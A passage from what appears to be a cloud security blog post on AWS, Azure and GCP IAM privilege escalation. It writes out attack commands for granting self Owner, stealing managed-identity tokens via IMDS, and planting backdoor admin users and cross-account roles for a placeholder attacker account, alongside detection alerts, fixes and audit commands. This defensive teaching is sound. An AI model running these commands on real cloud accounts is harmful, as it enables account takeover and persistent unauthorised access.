<h3 id="microsoftauthorizationroleassignmentswrite">Microsoft.Authorization/roleAssignments/write</h3>
<p>If an identity can write role assignments, it can grant itself Owner at any scope it can write to:</p>
<pre><code class="" data-line="">az role assignment create \
  --assignee attacker@company.com \
  --role &quot;Owner&quot; \
  --scope /subscriptions/SUB_ID
</code></pre>
<h3 id="managed-identity-assignment">Managed Identity Assignment</h3>
<p>Attach a high-privilege managed identity to a VM the attacker controls, then retrieve its token via IMDS:</p>
<pre><code class="" data-line="">az vm identity assign \
  --name attacker-vm --resource-group rg-attacker \
  --identities /subscriptions/SUB/resourcegroups/rg-prod/providers/\
Microsoft.ManagedIdentity/userAssignedIdentities/admin-identity

# From inside the VM
curl &#039;http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&amp;resource=https://management.azure.com/&#039; \
  -H &#039;Metadata: true&#039;
</code></pre>
<hr />
<h2 id="persistence-how-attackers-outlast-incident-response">Persistence — How Attackers Outlast Incident Response</h2>
<pre><code class="" data-line=""># AWS: hidden IAM user with admin access
aws iam create-user --user-name svc-backup-01
aws iam attach-user-policy \
  --user-name svc-backup-01 \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-01
# Valid until manually deleted — survives key rotation on other identities

# AWS: cross-account backdoor — hardest to find during IR
aws iam create-role --role-name svc-monitoring-role \
  --assume-role-policy-document &#039;{
    &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }&#039;
aws iam attach-role-policy --role-name svc-monitoring-role \
  --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

# GCP: add personal account at org level — survives project deletion
gcloud organizations add-iam-policy-binding ORG_ID \
  --member=&quot;user:attacker@gmail.com&quot; --role=&quot;roles/owner&quot;
</code></pre>
<p>Cross-account backdoors are particularly resilient — incident responders often focus on the compromised account without auditing trust relationships with external accounts.</p>
<hr />
<h2 id="detection-what-to-alert-on">Detection — What to Alert On</h2>
<table>
<thead>
<tr>
<th>Activity</th>
<th>Event to Watch</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role trust policy modified</td>
<td><code class="" data-line="">UpdateAssumeRolePolicy</code></td>
<td>Critical</td>
</tr>
<tr>
<td>New IAM user created</td>
<td><code class="" data-line="">CreateUser</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy version created</td>
<td><code class="" data-line="">CreatePolicyVersion</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy attached to role</td>
<td><code class="" data-line="">AttachRolePolicy</code>, <code class="" data-line="">PutRolePolicy</code></td>
<td>High</td>
</tr>
<tr>
<td>SA key created (GCP)</td>
<td><code class="" data-line="">google.iam.admin.v1.CreateServiceAccountKey</code></td>
<td>High</td>
</tr>
<tr>
<td>Role assignment at subscription scope (Azure)</td>
<td><code class="" data-line="">roleAssignments/write</code> at <code class="" data-line="">/subscriptions/</code></td>
<td>Critical</td>
</tr>
<tr>
<td>CloudTrail logging disabled</td>
<td><code class="" data-line="">StopLogging</code>, <code class="" data-line="">DeleteTrail</code></td>
<td>Critical</td>
</tr>
<tr>
<td><code class="" data-line="">GetSecretValue</code> at unusual hours</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code></td>
<td>Medium</td>
</tr>
</tbody>
</table>
<p>IAM events are low-volume in most accounts. That makes anomaly detection straightforward — a spike in IAM API calls outside business hours from an unusual principal is a strong signal. Configure the critical-priority events as real-time alerts, not just logged events.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — &quot;We have SCPs, so individual role permissions       ║
║       don&#039;t matter as much&quot;                                          ║
║                                                                      ║
║  SCPs set the ceiling. If an SCP allows iam:PassRole, any role      ║
║  with that permission can exploit it regardless of how &quot;scoped&quot;     ║
║  the SCP looks. SCPs and role-level permissions both need to be     ║
║  reviewed — they are independent layers.                            ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary doesn&#039;t stop iam:PassRole     ║
║                                                                      ║
║  A permissions boundary caps what a role can do directly. It does   ║
║  NOT prevent that role from passing a more powerful role to a       ║
║  Lambda or EC2. iam:PassRole escalation bypasses the boundary       ║
║  because the attacker is operating through the service, not         ║
║  directly through the bounded role.                                 ║
║                                                                      ║
║  Fix: scope iam:PassRole to specific ARNs regardless of whether     ║
║  a permissions boundary is in place.                                ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — CloudTrail doesn&#039;t log data plane events by default ║
║                                                                      ║
║  S3 object reads (GetObject), Secrets Manager reads (GetSecretValue)║
║  and SSM GetParameter are data events — not logged by CloudTrail   ║
║  unless you explicitly enable Data Events. An attacker exfiltrating ║
║  data via these calls leaves no trace in a default CloudTrail       ║
║  configuration.                                                      ║
║                                                                      ║
║  Fix: enable S3 and Lambda data events in CloudTrail. At minimum    ║
║  enable logging for secretsmanager:GetSecretValue.                  ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌──────────────────────────────────┬──────────────────────────────────────────────────────┐
│ Permission                       │ Escalation Path                                      │
├──────────────────────────────────┼──────────────────────────────────────────────────────┤
│ iam:CreatePolicyVersion          │ Rewrite your own policy to grant *:*                 │
│ iam:PassRole (Resource: *)       │ Assign AdminRole to a Lambda/EC2 you control         │
│ iam:CreateRole+AttachRolePolicy  │ Create and arm a backdoor cross-account role         │
│ iam:UpdateAssumeRolePolicy       │ Hijack existing admin role&#039;s trust policy            │
│ iam.serviceAccounts.actAs (GCP)  │ Impersonate any service account including admins     │
│ iam.serviceAccountKeys.create    │ Generate permanent key for any SA                    │
│ roleAssignments/write (Azure)    │ Assign Owner to yourself at subscription scope       │
└──────────────────────────────────┴──────────────────────────────────────────────────────┘

Defensive commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # AWS — find all roles with iam:PassRole on Resource: *                              │
│  aws iam list-policies --scope Local --query &#039;Policies[*].Arn&#039; --output text | \     │
│    xargs -I{} aws iam get-policy-version \                                            │
│      --policy-arn {} --version-id v1 --query &#039;PolicyVersion.Document&#039;                │
│                                                                                        │
│  # AWS — check who can assume a given role                                            │
│  aws iam get-role --role-name AdminRole \                                             │
│    --query &#039;Role.AssumeRolePolicyDocument&#039;                                            │
│                                                                                        │
│  # AWS — simulate whether a principal can CreatePolicyVersion                        │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/DevRole \                           │
│    --action-names iam:CreatePolicyVersion \                                           │
│    --resource-arns arn:aws:iam::ACCOUNT:policy/DevPolicy                             │
│                                                                                        │
│  # GCP — check who has actAs on a service account                                    │
│  gcloud iam service-accounts get-iam-policy SA_EMAIL \                               │
│    --format=json | jq &#039;.bindings[] | select(.role==&quot;roles/iam.serviceAccountUser&quot;)&#039;  │
│                                                                                        │
│  # GCP — list service account keys (find persistent backdoors)                       │
│  gcloud iam service-accounts keys list --iam-account=SA_EMAIL                        │
│                                                                                        │
│  # Azure — list all role assignments at subscription scope                           │
│  az role assignment list --scope /subscriptions/SUB_ID --output table                │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>IAM attack paths are the foundation of cloud penetration testing and access review methodology</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Defensive IAM design requires understanding offensive technique — you cannot protect paths you don&#8217;t know exist</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.8 Management of technical vulnerabilities</td>
<td>IAM misconfigurations are technical vulnerabilities — identifying and remediating privilege escalation paths</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Detection signals and alerting on IAM mutations as part of continuous monitoring</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat and vulnerability identification — this episode maps the threat model for cloud IAM</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Understanding attack paths informs the design of logical access controls that actually hold</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; IAM misconfigurations determine how far an attacker can go</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s highest-risk single permission — scope it to specific role ARNs or the escalation paths multiply</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> and <code class="" data-line="">iam:UpdateAssumeRolePolicy</code> are privilege escalation and persistence primitives — restrict them to dedicated admin roles</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">roleAssignments/write</code> in Azure are direct equivalents — same threat model, cloud-specific syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation org-wide in GCP; restrict role assignment scope in Azure</li>
<li>Enable CloudTrail Data Events — default logging misses S3 reads, Secrets Manager reads, and SSM GetParameter calls entirely</li>
<li>Alert on IAM mutations — low-volume, high-signal events that should never go unmonitored</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>You now know how attackers move through misconfigured IAM. <a href="/iam-least-privilege-audit/">AWS least privilege audit</a> is the defensive counterpart — using Access Analyzer, GCP IAM Recommender, and Azure Access Reviews to find and right-size over-permissioned access before an attacker does. The goal: get from wildcard policies to scoped, auditable permissions without breaking production.</p>
<p><em>Next: <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&#038;title=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" data-a2a-url="https://linuxcent.com/cloud-iam-privilege-escalation/" data-a2a-title="AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise"></a></p><p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-iam-privilege-escalation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1495</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 00:02:15 by W3 Total Cache
-->